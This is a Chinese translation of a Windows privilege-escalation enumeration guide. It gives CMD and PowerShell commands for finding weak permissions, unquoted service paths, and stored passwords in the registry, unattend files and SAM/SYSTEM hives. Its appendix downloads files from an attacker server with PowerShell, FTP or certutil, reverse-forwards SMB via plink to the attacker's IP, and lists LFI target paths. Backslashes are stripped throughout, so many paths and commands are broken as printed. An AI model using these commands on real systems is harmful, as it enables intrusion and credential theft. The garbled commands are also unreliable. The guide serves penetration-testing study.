介绍
特权升级总是被归结为适当的枚举。但要完成适当的枚举,你需要知道要检查和查找的内容。这通常需要伴随着经验的丰富而对系统非常熟悉。起初特权升级看起来像是一项艰巨的任务,但过了一段时间,你就开始过滤哪些是正常的东西,而哪些不是正常的东西。最终变得更容易,因为你知道要寻找什么了,而不是挖掘希望在干草堆中找到那根针的所有东西。希望本指南能为你的入门提供良好的基础知识。
本指南受到了g0tm1lk发表的基本的Linux提权姿势的文章的影响,在某些时候,你应该已经看到并使用了该指南。我想试图反映他的指导,除了Windows。所以本指南主要集中在枚举方面。
注:我不是专家,仍然在学习当中。
指南概述
在每个部分中,我首先提供老的可靠的CMD命令,然后是一个Powershell实现的的等价命令。同时拥有这两种工具是非常好的,Powershell比传统的CMD更加灵活。然而,没有一个Powershell命令能等价于所有东西(或者CMD在某些事情上仍然更简单更好),所以一些部分将只包含常规的CMD命令。
操作系统
操作系统类型和架构?它是否缺少任何补丁?
SYSTEMinfo wmic qfe
环境变量有什么有趣的地方吗?域控制器在LOGONSERVER?
set Get-ChildItem Env: | ft Key,Value
有没有其他连接的驱动器?
net use wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.CoreFilesystem"}| ft Name,Root
用户
你是谁?
whoami echo %USERNAME% $env:UserName
系统上有哪些用户?任何旧的用户配置文件没有被清理掉?
net Users dir /b /ad "C:Users" dir /b /ad "C:Documents and Settings" # Windows XP and below Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:Users -Force | select Name
是否有其他人登录?
qwinsta
系统上有哪些用户组?
net localgroup Get-LocalGroup | ft Name
在管理员组中有哪些用户?
net localgroup AdmINIstrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource
用户自动登录对应的注册表中有些什么内容?
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinLogon' | select "Default*"
Credential Manager中有什么有趣的东西?
cmdkey /list
我们可以访问SAM和SYSTEM文件吗?
%SYSTEMROOT%repairSAM %SYSTEMROOT%System32configRegBackSAM %SYSTEMROOT%System32configSAM %SYSTEMROOT%repairsystem %SYSTEMROOT%System32configSYSTEM %SYSTEMROOT%System32configRegBacksystem
程序,进程和服务
系统都安装了些什么软件?
dir /a "C:Program Files" dir /a "C:Program Files (x86)" reg query HKEY_LOCAL_MACHINESOFTWARE Get-ChildItem 'C:Program Files', 'C:Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINESOFTWARE | ft Name
有没有权限设置的比较脆弱的文件夹或文件的权限?
在程序文件夹中(Program Folders)有哪些文件或文件夹赋予了所有人(Everyone)或用户(User)的完全权限?
icacls "C:Program Files*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:Program Files (x86)*" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:Program Files*" 2>nul | findstr "(F)" | findstr "BUILTINUsers" icacls "C:Program Files (x86)*" 2>nul | findstr "(F)" | findstr "BUILTINUsers"
修改程序文件夹(Program Folders)中的所有人(Everyone)或用户(User)的权限?
icacls "C:Program Files*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:Program Files (x86)*" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:Program Files*" 2>nul | findstr "(M)" | findstr "BUILTINUsers" icacls "C:Program Files (x86)*" 2>nul | findstr "(M)" | findstr "BUILTINUsers"
Get-ChildItem 'C:Program Files*','C:Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} Get-ChildItem 'C:Program Files*','C:Program Files (x86)*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTINUsers'} } catch {}}
你也可以上传Sysinternals中的accesschk来检查可写文件夹和文件。
accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *
系统上正在运行的进程/服务有哪些?有没有暴露的内部服务?如果是这样,我们可以打开它吗?请参阅附录中的端口转发。
tasklist /svc tasklist /v net start sc query
Get-Process | ft ProcessName,Id Get-Service
是否存在任何脆弱的服务权限?我们可以重新配置什么吗?你可以再次上传accesschk来检查权限。
accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *
有没有引用的服务路径?
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:Windows" 2>nul |findstr /i /v """
是否设置了计划任务?任何自定义实现的计划任务?
schtasks /query /fo LIST 2>nul | findstr TaskName dir C:windowstasks
Get-ScheduledTask | ft TaskName, State
系统启动时都运行了些什么?
wmic startup get caption,command reg query HKLMSoftwareMicrosoftWindowsCurrentVersionRun reg query HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRun reg query HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce dir "C:Documents and SettingsAll UsersStart MenuProgramsStartup" dir "C:Documents and Settings%username%Start MenuProgramsStartup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun' Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce' Get-ChildItem "C:UsersAll UsersStart MenuProgramsStartup" Get-ChildItem "C:Users$env:USERNAMEStart MenuProgramsStartup"
AlwaysInstallElevated是否启用?我没有跑过这个,但没有伤害检查。
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
网络
连接到了哪一块网卡?是否有多个网络?
ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
我们有哪些网络路线?
route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP缓存中有什么?
arp -a Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
是否有连接到其他主机的网络连接?
netstat -ano
hosts文件中的任何东西?
C:WINDOWSSystem32driversetchosts
防火墙是否打开?如果是又是怎样配置的?
netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"
任何其他有趣的接口配置?
netsh dump
有没有SNMP配置?
reg query HKLMSYSTEMCurrentControlSetServicesSNMP /s Get-ChildItem -path HKLM:SYSTEMCurrentControlSetServicesSNMP -Recurse
有趣的文件和敏感信息
这部分内容的命令输出可能有点杂乱,所以你可能想把命令的输出重定向到txt文件中进行审查和解析。
在注册表中是否有任何密码?
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
查看是否存在没有清理掉的sysprep或unattended文件?
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul Get-Childitem –Path C: -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
如果服务器是IIS网络服务器,那么inetpub中有什么?以及任何隐藏的目录?web.config文件?
dir /a C:inetpub dir /s web.config C:WindowsSystem32inetsrvconfigapplicationHost.config Get-Childitem –Path C:inetpub -Include web.config -File -Recurse -ErrorAction SilentlyContinue
在IIS日志目录中有些什么文件?
C:inetpublogsLogFilesW3SVC1u_ex[YYMMDD].log C:inetpublogsLogFilesW3SVC2u_ex[YYMMDD].log C:inetpublogsLogFilesftpSVC1u_ex[YYMMDD].log C:inetpublogsLogFilesFTPSVC2u_ex[YYMMDD].log
是否安装了XAMPP,apache或PHP?任何有XAMPP,Apache或PHP配置文件?
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf Get-Childitem –Path C: -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
系统中是否存在任何Apache网络日志?
dir /s access.log error.log Get-Childitem –Path C: -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
系统中是否任何有趣的文件?可能在用户目录(桌面,文档等)?
dir /s *pass* == *vnc* == *.config* 2>nul Get-Childitem –Path C:Users -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
系统中是否有包含密码的文件?
findstr /si password *.xml *.ini *.txt *.config 2>nul Get-ChildItem C:* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
附录
传输文件
在特权升级过程中的某个时候,你需要将文件放到你的目标上。下面是一些简单的方法来做到这一点。
Powershell Cmdlet(Powershell 3.0及更高版本)
Invoke-WebRequest "https://myserver/filename" -OutFile "C:WindowsTempfilename"
Powershell一行代码实现方法:
(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename", "C:WindowsTempfilename")
Powershell脚本
echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://IPADDRESS/file.exe" >>wget.ps1 echo $file = "output-file.exe" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
通过文本文件的非交互式FTP。当你只有有限的命令执行时这很有用。
echo open 10.10.10.11 21> ftp.txt echo USER username>> ftp.txt echo mypassword>> ftp.txt echo bin>> ftp.txt echo GET filename>> ftp.txt echo bye>> ftp.txt ftp -v -n -s:ftp.txt CERTUTIL certutil.exe -urlcache -split -f https://myserver/filename outputfilename
转发端口
这对于暴露机器外部不可用的内部服务非常有用,通常是由于防火墙设置。
上传plink.exe到目标。
在攻击机器上启动SSH。
例如要公开SMB,在目标上运行:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
注意:从Windows 10的秋季创作者更新版本开始,OpenSSH已经在Windows的beta版本中推出,所以我预计有一天我们可能只能使用普通的旧的SSH命令进行端口转发,具体取决于是否启用。
本地文件包含列表
这不是一个详尽的列表,安装目录会有所不同,我只列出了一些常见的文件路径。
C:Apacheconfhttpd.conf C:Apachelogsaccess.log C:Apachelogserror.log C:Apache2confhttpd.conf C:Apache2logsaccess.log C:Apache2logserror.log C:Apache22confhttpd.conf C:Apache22logsaccess.log C:Apache22logserror.log C:Apache24confhttpd.conf C:Apache24logsaccess.log C:Apache24logserror.log C:Documents and SettingsAdministratorNTUser.dat C:phpphp.ini C:php4php.ini C:php5php.ini C:php7php.ini C:Program Files (x86)Apache GroupApacheconfhttpd.conf C:Program Files (x86)Apache GroupApachelogsaccess.log C:Program Files (x86)Apache GroupApachelogserror.log C:Program Files (x86)Apache GroupApache2confhttpd.conf C:Program Files (x86)Apache GroupApache2logsaccess.log C:Program Files (x86)Apache GroupApache2logserror.log c:Program Files (x86)phpphp.ini" C:Program FilesApache GroupApacheconfhttpd.conf C:Program FilesApache GroupApacheconflogsaccess.log C:Program FilesApache GroupApacheconflogserror.log C:Program FilesApache GroupApache2confhttpd.conf C:Program FilesApache GroupApache2conflogsaccess.log C:Program FilesApache GroupApache2conflogserror.log C:Program FilesFileZilla ServerFileZilla Server.xml C:Program FilesMySQLmy.cnf C:Program FilesMySQLmy.ini C:Program FilesMySQLMySQL Server 5.0my.cnf C:Program FilesMySQLMySQL Server 5.0my.ini C:Program FilesMySQLMySQL Server 5.1my.cnf C:Program FilesMySQLMySQL Server 5.1my.ini C:Program FilesMySQLMySQL Server 5.5my.cnf C:Program FilesMySQLMySQL Server 5.5my.ini C:Program FilesMySQLMySQL Server 5.6my.cnf C:Program FilesMySQLMySQL Server 5.6my.ini C:Program FilesMySQLMySQL Server 5.7my.cnf C:Program FilesMySQLMySQL Server 5.7my.ini C:Program Filesphpphp.ini C:UsersAdministratorNTUser.dat C:WindowsdebugNetSetup.LOG C:WindowsPantherUnattendUnattended.xml C:WindowsPantherUnattended.xml C:Windowsphp.ini C:WindowsrepairSAM C:Windowsrepairsystem C:WindowsSystem32configAppEvent.evt C:WindowsSystem32configRegBackSAM C:WindowsSystem32configRegBacksystem C:WindowsSystem32configSAM C:WindowsSystem32configSecEvent.evt C:WindowsSystem32configSysEvent.evt C:WindowsSystem32configSYSTEM C:WindowsSystem32driversetchosts C:WindowsSystem32winevtLogsApplication.evtx C:WindowsSystem32winevtLogsSecurity.evtx C:WindowsSystem32winevtLogsSystem.evtx C:Windowswin.ini C:xamppapacheconfextrahttpd-xampp.conf C:xamppapacheconfhttpd.conf C:xamppapachelogsaccess.log C:xamppapachelogserror.log C:xamppFileZillaFTPFileZilla Server.xml C:xamppMercuryMailMERCURY.INI C:xamppmysqlbinmy.ini C:xamppphpphp.ini C:xamppsecuritywebdav.htpasswd C:xamppsendmailsendmail.ini C:xampptomcatconfserver.xml
翻译:李白
原文:嘶吼